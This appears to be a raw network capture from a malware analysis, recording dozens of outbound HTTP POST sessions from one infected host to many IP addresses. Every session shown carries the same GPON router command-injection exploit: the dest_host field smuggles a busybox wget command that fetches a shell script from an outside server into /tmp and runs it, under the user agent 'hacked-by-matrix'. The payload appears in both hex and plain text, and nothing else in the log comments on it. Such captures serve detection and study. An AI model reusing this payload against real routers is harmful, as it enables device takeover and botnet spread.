Mar 21, 2024 05:16:52.979227066 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
197	192.168.2.23	57696	42.13.160.198	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.979372025 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
198	192.168.2.23	47422	109.20.10.118	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.979408979 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
199	192.168.2.23	59290	212.56.255.142	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.979434967 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
200	192.168.2.23	41336	118.181.91.78	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.979573011 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
201	192.168.2.23	42760	109.73.195.201	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.979593992 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
202	192.168.2.23	56796	79.174.46.115	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.979728937 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
203	192.168.2.23	39008	37.83.85.132	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.979854107 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
204	192.168.2.23	58914	212.235.209.223	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.979887009 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
205	192.168.2.23	33230	178.198.163.55	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.980139971 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
206	192.168.2.23	45808	212.129.239.107	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.980179071 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
207	192.168.2.23	53060	178.47.56.88	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.980411053 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
208	192.168.2.23	51652	5.147.34.88	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.980549097 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
209	192.168.2.23	42310	42.180.217.73	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.980580091 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
210	192.168.2.23	59866	42.237.152.254	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.980612040 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
211	192.168.2.23	37118	118.235.236.71	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.980648994 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
212	192.168.2.23	37244	94.127.97.221	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.981487989 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
213	192.168.2.23	37452	42.209.126.224	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:53.997374058 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
214	192.168.2.23	52344	94.25.73.198	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:53.997410059 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
215	192.168.2.23	39260	109.180.3.146	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:53.997448921 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
216	192.168.2.23	52218	109.85.168.166	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:53.997452021 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
217	192.168.2.23	57746	42.103.119.28	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:53.997490883 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
218	192.168.2.23	55024	210.89.224.107	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:53.997524977 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
219	192.168.2.23	57786	2.149.223.240	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:53.997600079 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
220	192.168.2.23	42830	79.156.161.29	443

Timestamp	Bytes transferred	Direction	Data
